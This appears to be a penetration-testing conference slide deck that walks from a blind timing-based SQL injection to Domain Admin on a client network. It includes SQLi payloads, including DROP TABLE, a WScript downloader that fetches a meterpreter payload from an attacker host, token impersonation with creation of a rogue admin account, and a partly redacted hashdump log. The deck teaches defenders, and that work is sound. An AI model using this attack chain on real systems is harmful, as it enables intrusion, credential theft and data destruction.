

A Day in the Life of a Pentester: External Blind SQL Injection → Domain Admin

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DepthSecurity

Information Security Professionals

Who We Are

Local, boutique, information security consulting firm founded in 2006:

- Services: External/Internal Vuln/Pen, Web/Mobile App, AD Assessment, Security Architecture, NAC Experts
 - Solutions: Select products that we know work
 - No Push-Button Scanning: Quality > Quantity
- Proof: Prove solution necessity / efficacy via assessment
 - Senior Level Talent Only: Always highly accessible

Apples and Oranges?

Network Pen vs Network Vuln vs Web App Vuln

- Network Pen: Focus on exploitation, escalation, and proof of concept
 - Network Vulnerability Assessment: Focus on complete network coverage and vulnerability identification
- Web Application Security Assessment: Focus on a given application, usually scoped as unauthenticated (public) or authenticated (one or more user accounts/roles, covers public too)

Apples and Oranges? (Cont)

Network Vulnerability Assessments

- We rarely do network vulnerability assessments with no pen.
- If it's exploitable, we want to prove it. (unless client requests not to)
- Our Customers Agree: We prove what they've been warning about.
- Empirical Evidence: Screenshots of a VIP's email inbox make a bigger impact with management than "Trust Us, You're Totally Vulnerable."
- Anecdotal: Management seem more concerned with their own data (email/files) than their customers'.

Apples and Oranges? (Cont)

Network Penetration Assessments

- No excuse not to touch web applications, just because you aren't obligated to in scope
 - Exposed external, server-side, non-web-app, RCE vulns getting fewer & fewer
 - If you do ignore web apps, you'll miss low-hanging fruit.
- Anecdotal: Bigger the network = more web apps = easier exploitation (regardless of security budget \$\$)
- \$MoralOfStory = Be VERY wary of any pen test with no web app vulnerability findings.

Remotely Owning Networks via Web Apps

Some Examples of Why You Don't Overlook Web Apps

- ColdFusion: Directory Traversal / Authentication Bypass = RCE
 - Tomcat Manager: Unprotected / Default Creds = RCE
- JBOSS: Verb Tampering Authentication Bypass / Default Creds = RCE
- Custom Web Application Vulns: LFI / RFI / XXE / SQLi / Insecure File Upload / Default Creds = RCE
 - Let's talk about a real-world SQLi today shall we?

SQLi – The Vulnerability

Inject T-SQL Syntax Directly Into Intended Query

- Old web app development methods and platforms relied on string concatenation of user input along with pre-written SQL queries.
- Overwrite/extend original query to do something that was not intended
 - **PROFOUND IMPLICATIONS!:** Remote Attacker → Internet → Firewall → Web Server → Firewall → App Server → Firewall → DB

SQLi – The Vulnerability (Cont)

Been Around For Awhile

- OWASP Top 10 2007: A2 – Injection Flaws
 - OWASP Top 10 2010: A1 – Injection
 - OWASP Top 10 2013: A1 – Injection
- OWASP Top 10 2015: A? – Guess the Pattern!

SQLi – The Vulnerability (Cont)

Can Get Pretty Bad – High Profile Breaches

- Carrefour 2007: 2 Million Credit Cards
- Heartland Payment Systems 2007: 138 Million Credit Cards
 - Commidea 2008: 30 Million Credit Cards
 - Dow Jones 2009: 10,000 Accounts Compromised
 - Euronet 2010: 2 Million Credit Cards
 - FBI/Nasa 2012: 1.6 Million Accounts Compromised
- Dominos Pizza 2012: 37,000 Accounts Compromised
 - Yahoo 2012: 450,000 Accounts Compromised
- LivingSocial 2013: 50 Million Customer Accounts at Risk

SQLi – Exploitation

Classic Examples – Auth Bypass

- "SELECT * FROM users WHERE name =" + userName + ";"
 - Attacker Enters: ' or '1'='1' --
 - SELECT * FROM users WHERE name = " OR '1'='1' -- ';
- Attacker is authenticated, bypassing the requirement of a valid username/password

SQLi – Exploitation

Classic Examples – Speeding Ticket Bypass



SQLi – Exploitation (Cont)

Classic Examples – Drop Table (DoS)

- "SELECT * FROM users WHERE name =" + userName + ";"
 - Attacker Enters: a';DROP TABLE users;--
- SELECT * FROM users WHERE name = 'a';DROP TABLE users;--
 - Attacker drops the “users” table
- Pretty weak, but could be painful if pain is what you're after.... and sometimes it is.

SQLi – Exploitation (Cont)

Classic Examples – Drop Speeding Tickets



SQLi – Exploitation (Cont)

SQLi Types – Error-Based

- Verbose Errors Are Enabled: Consider yourself lucky!
 - One Value Per Request: Makes data retrieval fast
- Context about Syntax: Errors give clues about what's wrong/right with your injection syntax
- Rarer and Rarer: We still see it but this is some old, Y2K type stuff!

SQLi – Exploitation (Cont)

SQLi Types – Error-Based (Cont)

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the  
character string ''.  
/target/target.asp, line 113
```

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the  
varchar value 'test' to a column of data type int.  
/target/target.asp, line 113
```

SQLi – Exploitation (Cont)

SQLi Types – Error-Based (Cont)

- Add a UNION clause with a type mismatch to enumerate DB schema and eventually grab rows of data: `http://vulnerableapp.com/getProduct.asp?id=10 UNION SELECT`

TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '**Employees**' to a column of data type int.

/getProduct.asp, line 5

SQLi – Exploitation (Cont)

SQLi Types – Error-Based (Cont)

- `http://vulnerableapp.com/getProduct.asp?id=10 UNION SELECT TOP 2
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--`

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value '**Employee_Direct_Deposit**' to a column
of data type int. /getProduct.asp, line 5

SQLi – Exploitation (Cont)

SQLi Types – Blind, Boolean-Based

- Ask the database true and false questions
 - One character at a time data retrieval
- Evaluate the application response **CONTENT** for the answer
 - False = 500 Internal Server Error, Empty Page, etc
- True = Expected application response, productId=1 returns that
expected product

SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based

- Ask the database true and false questions
 - One character at a time data retrieval
- Evaluate the application response **TIMING** for answer
 - False = Typical response time
 - True = Delayed response time

SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based

- MSSQL: waitfor delay '00:00:15'; (Pause 15 Seconds)
- MSSQL: xp_cmdshell 'ping -n 10 127.0.0.1' (Pause 10 Seconds)
- MySQL: SELECT BENCHMARK(10000000,ENCODE('abc','123'));
(Pause ~7 Seconds)
- Oracle: BEGIN DBMS_LOCK.SLEEP(5); END; (Pause 10 Seconds)

SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based (Cont)

- `Id=1; IF (ASCII(lower(substring((USER),1,1)))>96) WAITFOR DELAY '00:00:10'--`
- `Id=1; IF (ASCII(lower(substring((USER),1,1)))>100) WAITFOR DELAY '00:00:10'--`
- `Id=1; IF (ASCII(lower(substring((USER),1,1)))>98) WAITFOR DELAY '00:00:10'--`
- `Id=1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--`
 - First letter of current DB user is: ASCII decimal 97 = “a”
 - No FUN!

SQLi – Exploitation (Cont)

Data Retrieval

- Error-Based: Can dump schema and database contents pretty quickly
- Blind: Much slower but can still target data and retrieve sensitive tables
- Blind, Timing-Based: Really slow, data retrieval. Good enough for PoC but not massive dumps
- **But: Don't need to retrieve data to execute code!!**

SQLi – Exploitation (Cont)

Why Stop at the Database/Data? – OS Commands

- MSSQL: xp_cmdshell, xp_reg*, xp_servicecontrol, etc
 - MSSQL: BoF (MS09-004) in sp_replwritetovarbin
 - MySQL: User-defined functions
 - PostgreSQL: User-defined functions
 - Oracle: User-defined functions, DBMS_JAVA.RUNJAVA(), DBMS_JAVA_TEST.FUNCALL(), DBMS_SCHEDULER.CREATE_JOB, etc

Tool: sqlmap

Our Favorite SQLi Exploitation Tool

- Written By: Bernardo Damale & Miroslav Stampar
- Supports: MySQL, Oracle, PostgreSQL, MSSQL, MSAccess, SQLite, Firebird, Sybase, SAP MaxDB, DB2
- Techniques: Error-Based, Boolean-Based Blind, Union Query-Based, Stacked Queries, Inline Queries
 - Can scan or target specified params/headers

Tool: sqlmap (Cont)

My Favorite SQLi Exploitation Tool (Cont)

- Stateful: Sessions start where you left off
 - Data Retrieval: Keeps data in nice, tidy, CSV files
- OS Interaction (Depending on Vuln Circumstances): File Read/Write, OOB OS Shell, OS-PWN, OS-SMBRELAY, OS-BOF, Registry Read/Write

Attack Scenario

Custom Web App – Vulnerable to Blind, Timing-Based, SQLi

- One of those legacy apps: “It’s gonna be decommissioned.”

- Discovered via BurpSuite, exploited via sqlmap

- sqlmap: Data retrieval worked but was painfully slow.

- sqlmap: “--isdba” option returned true

- sqlmap: xp_cmdshell was disabled, but sqlmap was able to reenabling it.

(why we do not run web apps with SA/DBA privs)

Attack Scenario (Cont)

Egress Busting

- First we had to ascertain an open port (for our connect-back payload)
- Since this was an older version of Windows, telnet was installed so...
- telnet a.b.c.d:21, telnet a.b.c.d:22, telnet a.b.c.d:25, telnet a.b.c.d:53,
telnet a.b.c.d:80, etc
- Lucked out and TCP/443/HTTPS was open to us but nothing else was

Attack Scenario (Cont)

Exploitation – Failure 1

- The sqlmap “--os-pwn” feature does in-memory shellcode exec
 - It failed. Maybe Antivirus caught it?
- Wasn’t sure how to replace the Metasploit payload with our own executable in sqlmap
- Rather than debugging/fixing the “--ospwn” issue, this is what we did...

Attack Scenario (Cont)

Exploitation – Failure 2

- The sqlmap “--os-shell” one-line-at-a-time CMD access worked!
- Remember, timing-based data retrieval is slow, so even retrieving the output from a 4-packet ping could potentially take hours!
- Literally working “blind” but I’ll take that over not working at all

Attack Scenario (Cont)

Exploitation – Failure 2 (Cont)

- Used the “veil” toolkit to obfuscate a windows/meterpreter/reverse_tcp executable payload
- Maybe we can cover veil in another talk but you need to be using it.
- Needed a one-line CMD-based method of getting our executable on the DB so we could execute it
 - In Windows there is no “wget,” “scp,” “curl,” “tftp,” and etc.

Attack Scenario (Cont)

Exploitation – Failure 2 (Cont)

- Used “--os-shell” option to “echo” an FTP script file line-by-line
 - Fired up public FTP server to host meterpreter executable
 - Remember: TCP/21 closed so ran FTP server on 443
- Used the “--os-shell” to call the script via “ftp -s:script_filename”
 - FAILURE!!!

- Probably something to do with FTP-aware stateful firewalls and running FTP on TCP/443

Attack Scenario (Cont)

Exploitation – Success

- Still needed a one-liner way of getting our meterpreter payload
 - Thanks to NateK, WSCRIPT ended up being the answer

```
var WinHttpRequest = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpRequest.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpRequest.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpRequest.ResponseBody);
BinStream.SaveToFile("out.bin");
```


Attack Scenario (Cont)

Exploitation – Success (Cont)

- Echoed our pseudo-wget tool, line-by-line just like the FTP script
 - Called it like: “script /nologo w https://a.b.c.d/payload”
 - Renamed meterpreter backdoor from “out.bin” to “out.exe”
- Moment of truth: We executed it and a meterpreter session popped up on our handler.

Attack Scenario (Cont)

Escalation – The Road to Domain Admin

- Why not stop at shelling the DBMS?



Attack Scenario (Cont)

Escalation – The Road to Domain Admin

- The following attack is:
 - Typical escalation path in a Windows environment
- Represents just a couple of hours of time in the evening
 - It's the most fun, rewarding, but least technical part.

Attack Scenario (Cont)

Escalation – The Road to Domain Admin (Cont)

- Ran `post/windows/gather/enum_domains` to get a list of the DCs
- Dropped into a shell and ran “`net groups ‘Domain Admins’ /DOMAIN`”
- Loaded the incognito meterpreter plugin and listed the available impersonation tokens

Attack Scenario (Cont)

Escalation – The Road to Domain Admin (Cont)

- Lucked out: DA token right on the DB (why we don't use high-priv accounts unnecessarily)
 - Impersonated the token and created our own DA account:
 - `if (time>5PMCST { anybody_paying_attention = false; })`
- Forwarded a local port to RDP on the DC: `portfwd -add -l 3389 -r w.x.y.z -p 3389`

Attack Scenario (Cont)

Escalation – Why not Stop at Domain Admin?

- Execs don't know what "Domain Admin" is or the significance.
 - Logged into the DC via RDP
- Opened up C\$ on the DB and simply double-clicked our proven, obfuscated, meterpreter executable
 - A session came back from the DC, with DA privs
- Ran the post/windows/gather/smart_hashdump Metasploit post-exploitation module (get permission!)

Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)

- Held our breaths as the hashes were spooled into memory
- Exhaled as 10s of thousands of enterprise, domain, accounts and password hashes streamed live across our meterpreter session from
across the internet

Attack Scenario (Cont)

Escalation – SA = Shock & Awe

```
meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against ██████████
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20131211180055_A_██████████_windows.hashes_826751.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...
[-] Failed to dump hashes as SYSTEM, trying to migrate to another process
[*] Migrating to process owned by SYSTEM
[*] Migrating to wininit.exe
[+] Successfully migrated to wininit.exe
[+]
[+] admin:500:3 320eb429
[+] 502:aad3b4 ca0
[+] .k:1002:aac c118e9
[+] n:1018:aac 47ce7b
[+] 1029:aad3t f11f
[+] n:1124:aac 989d35
[+] :1163:aad3 940d0
[+] on:1169:bi 3fe1ae5
[+] n:1202:aac b2b8ee
[+] :1221:4951 fabdf
[+] 1232:aad3t e03a
[+] :1258:aad3 6b7a1
[+] :1279:aad3 83460
[+] 1307:aad3t 1525
[+] :1313:aad3 92db1
[+] 1321:aad3t a57e
[+] :1360:aad3 4cb6c
[+] n:1368:aad3 664b4
[+] 1373:aad3t 652b
[+] 1382:aad3t ce85
[+] od:1385:aac a98753
[+] 1389:aad3t bf7c
[+] ms:1394:ae 809e965
[+] :1398:aad3 3becc
[+] 1410:aad3t fa71
[+] /:1438:a721 9b422
[+] s:1483:aac dd8c4a
[+] :1491:aad3 930d7
[+] er:1492:ae d1906c6
[+] :1493:aad3 ec3f9
```


Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)

- Used the “auxiliary/analyze/jtr_crack_fast” Metasploit module
- Cracked thousands of passwords in just minutes (why we don't store LM hashes!)

Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)

```
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
[+] Cracked:
```

Attack Scenario (Cont)

Escalation – SA = Shock & Awe

- A bit of LinkedIn investigation lead to a who's who of the cracked accounts (Don't exempt your VIPs from strong password policies, no matter how much they beg you!)
- Logged into a few OWA inboxes just for screenshots (get permission!)
 - Revisited the DC RDP session to add ourselves to all SQL groups
- Opened up Enterprise Manager and found TBs of more sensitive data

Questions?

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